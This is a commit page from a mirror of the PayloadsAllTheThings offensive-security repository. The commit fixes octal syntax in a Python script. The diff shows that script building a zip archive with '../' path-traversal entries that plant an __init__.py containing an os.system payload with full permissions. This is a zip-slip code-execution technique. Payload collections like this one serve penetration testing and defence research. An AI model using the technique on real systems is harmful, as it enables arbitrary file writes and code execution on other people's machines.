mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-13 23:02:46 +00:00
Use octal numbers that work in both Python 2 and 3
python2 -c "print(0777 << 16L == 0o777 << 16)" # True
This commit is contained in:
parent
d847e2e6bb
commit
d642980f8c
1 changed files with 1 additions and 1 deletions
|
@ -15,5 +15,5 @@ for d in directories:
|
|||
z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py")
|
||||
z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+
|
||||
z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');")
|
||||
z_info.external_attr = 0777 << 16L
|
||||
z_info.external_attr = 0o777 << 16
|
||||
z_file.close()
|
||||
|
|
Loading…
Reference in a new issue